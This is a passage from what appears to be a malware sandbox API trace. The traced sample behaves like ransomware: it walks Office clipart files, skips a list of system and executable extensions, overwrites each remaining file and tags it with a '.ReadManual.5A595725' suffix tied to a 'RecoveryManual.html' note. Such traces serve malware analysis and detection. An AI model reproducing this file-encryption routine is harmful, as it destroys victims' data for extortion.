hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1928) returned 1 [0263.398] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x788, lpName=0x0) returned 0x184 [0263.399] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.399] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.399] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.443] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.443] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x788) returned 0x2f0000 [0263.443] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.443] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38411223483) returned 1 [0263.444] CloseHandle (hObject=0x184) returned 1 [0263.444] SetSecurityInfo () returned 0x57 [0263.444] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.444] CloseHandle (hObject=0x194) returned 1 [0263.444] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ee5f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0ee5f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x23d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IN00557_.WMF", cAlternateFileName="")) returned 1 [0263.444] lstrcpyW (in: lpString1=0x6ab90a, lpString2="IN00557_.WMF" | out: lpString1="IN00557_.WMF") returned="IN00557_.WMF" [0263.444] lstrcmpiW (lpString1="IN00557_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.444] StrStrIW (lpFirst="IN00557_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.444] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.444] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.444] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.444] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.444] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.444] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.444] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.444] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.444] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.444] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.444] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.444] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.444] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.444] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.444] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" [0263.444] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.ReadManual.5A595725" [0263.444] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.ReadManual.5A595725") returned 87 [0263.444] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38411320755) returned 1 [0263.444] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf")) returned 0x20 [0263.445] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.445] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9172) returned 1 [0263.445] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x23d4, lpName=0x0) returned 0x184 [0263.445] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.446] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.446] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.491] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.491] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x23d4) returned 0x2f0000 [0263.491] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.491] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38416019356) returned 1 [0263.491] CloseHandle (hObject=0x184) returned 1 [0263.492] SetSecurityInfo () returned 0x57 [0263.492] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.492] CloseHandle (hObject=0x194) returned 1 [0263.492] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9b2000, ftCreationTime.dwHighDateTime=0x1bd4bf2, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9b2000, ftLastWriteTime.dwHighDateTime=0x1bd4bf2, nFileSizeHigh=0x0, nFileSizeLow=0x31cc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IN00915_.WMF", cAlternateFileName="")) returned 1 [0263.492] lstrcpyW (in: lpString1=0x6ab90a, lpString2="IN00915_.WMF" | out: lpString1="IN00915_.WMF") returned="IN00915_.WMF" [0263.492] lstrcmpiW (lpString1="IN00915_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.492] StrStrIW (lpFirst="IN00915_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.492] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.492] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.492] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.492] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.492] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.492] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.492] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.492] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.492] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.492] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.492] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.492] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.492] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.492] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.492] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" [0263.492] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.ReadManual.5A595725" [0263.492] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF.ReadManual.5A595725") returned 87 [0263.492] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38416115820) returned 1 [0263.492] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf")) returned 0x20 [0263.537] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.538] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12748) returned 1 [0263.538] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x31cc, lpName=0x0) returned 0x184 [0263.538] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.538] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.538] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.584] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.584] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x31cc) returned 0x2f0000 [0263.584] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.584] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38425278990) returned 1 [0263.584] CloseHandle (hObject=0x184) returned 1 [0263.584] SetSecurityInfo () returned 0x57 [0263.584] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.584] CloseHandle (hObject=0x194) returned 1 [0263.584] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5570a100, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5570a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1b08, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IN00919_.WMF", cAlternateFileName="")) returned 1 [0263.584] lstrcpyW (in: lpString1=0x6ab90a, lpString2="IN00919_.WMF" | out: lpString1="IN00919_.WMF") returned="IN00919_.WMF" [0263.584] lstrcmpiW (lpString1="IN00919_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.584] StrStrIW (lpFirst="IN00919_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.584] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.584] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.585] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.585] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.585] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.585] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.585] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.585] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.585] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.585] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.585] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.585] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.585] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.585] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.585] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" [0263.585] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.ReadManual.5A595725" [0263.585] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF.ReadManual.5A595725") returned 87 [0263.585] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38425377371) returned 1 [0263.585] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf")) returned 0x20 [0263.585] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.585] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6920) returned 1 [0263.586] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b08, lpName=0x0) returned 0x184 [0263.586] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.586] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.586] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.631] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.631] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1b08) returned 0x2f0000 [0263.631] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.631] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38430018214) returned 1 [0263.631] CloseHandle (hObject=0x184) returned 1 [0263.632] SetSecurityInfo () returned 0x57 [0263.632] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.632] CloseHandle (hObject=0x194) returned 1 [0263.632] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a750c00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7a750c00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x4e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IN00956_.WMF", cAlternateFileName="")) returned 1 [0263.632] lstrcpyW (in: lpString1=0x6ab90a, lpString2="IN00956_.WMF" | out: lpString1="IN00956_.WMF") returned="IN00956_.WMF" [0263.632] lstrcmpiW (lpString1="IN00956_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.632] StrStrIW (lpFirst="IN00956_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.632] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.632] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.632] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.632] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.632] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.632] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.632] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.632] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.632] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.632] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.632] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.632] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.632] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.632] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.632] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" [0263.632] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.ReadManual.5A595725" [0263.632] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF.ReadManual.5A595725") returned 87 [0263.632] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38430126542) returned 1 [0263.633] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf")) returned 0x20 [0263.633] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.633] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1256) returned 1 [0263.633] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4e8, lpName=0x0) returned 0x184 [0263.634] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.634] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.634] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.677] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.678] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4e8) returned 0x2f0000 [0263.678] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.678] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38434671767) returned 1 [0263.678] CloseHandle (hObject=0x184) returned 1 [0263.678] SetSecurityInfo () returned 0x57 [0263.678] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.678] CloseHandle (hObject=0x194) returned 1 [0263.678] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20e4b00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20e4b00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0xb80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IN00957_.WMF", cAlternateFileName="")) returned 1 [0263.678] lstrcpyW (in: lpString1=0x6ab90a, lpString2="IN00957_.WMF" | out: lpString1="IN00957_.WMF") returned="IN00957_.WMF" [0263.678] lstrcmpiW (lpString1="IN00957_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.678] StrStrIW (lpFirst="IN00957_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.678] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.679] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.679] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.679] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.679] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.679] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.679] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.679] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.679] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.679] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.679] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.679] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.679] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.679] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.679] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" [0263.679] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.ReadManual.5A595725" [0263.679] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF.ReadManual.5A595725") returned 87 [0263.679] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38434780392) returned 1 [0263.679] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf")) returned 0x20 [0263.679] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.680] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2944) returned 1 [0263.680] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb80, lpName=0x0) returned 0x184 [0263.680] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.681] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.681] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.724] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.725] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb80) returned 0x2f0000 [0263.725] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.725] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38439387023) returned 1 [0263.725] CloseHandle (hObject=0x184) returned 1 [0263.725] SetSecurityInfo () returned 0x57 [0263.725] LocalFree (hMem=0x76c1a55b) returned 